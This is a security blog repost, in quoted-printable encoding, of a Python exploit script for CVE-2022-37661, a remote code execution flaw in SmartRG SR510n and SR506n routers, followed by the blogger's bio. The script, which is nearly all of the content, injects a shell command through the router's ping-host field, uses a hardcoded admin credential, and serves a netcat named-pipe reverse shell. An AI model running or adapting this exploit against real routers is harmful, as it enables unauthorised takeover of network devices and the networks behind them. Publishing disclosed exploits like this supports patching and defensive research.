Friday, December 6, 2024

SmartRG Remote Code Execution: SR510n 2.6.13

A Vulnerability was discovered in SmartRG Router, by Security Researcher Yerodin Richards,the vulnerability, an RCE (Remote code execution) affects versions 2.5.15 / 2.6.13.

# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
# Date: 13/06/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://adtran.com
# Version: 2.5.15 / 2.6.13 (confirmed)
# Tested on: SR506n (2.5.15) & SR510n (2.6.13)
# CVE : CVE-2022-37661

import requests
from subprocess import Popen, PIPE

router_host =3D "http://192.168.1.1"
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"

lhost =3D "lo"
lport =3D 80

payload_port =3D 81


def main():
    e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
    Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
    send_payload(f"|nc {lhost} {payload_port}|sh")
    print("done.. check shell")


def get_session():
    url =3D router_host + "/admin/ping.html"
    headers =3D {"Authorization": "Basic {}".format(authorization_header)}
    r =3D requests.get(url, headers=3Dheaders).text
    i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
    s =3D ""
    while r[i] !=3D "'":
        s =3D s + r[i]
        i =3D i + 1
    return s


def send_payload(payload):
    print(payload)
    url =3D router_host + "/admin/pingHost.cmd"
    headers =3D {"Authorization": "Basic {}".format(authorization_header)}
    params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
: get_session()}
    requests.get(url, headers=3Dheaders, params=3Dparams).text


main()

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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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